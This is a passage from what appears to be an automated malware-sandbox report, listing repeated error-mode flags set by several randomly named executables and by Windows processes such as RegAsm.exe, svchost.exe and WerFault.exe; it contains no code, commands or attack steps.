Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
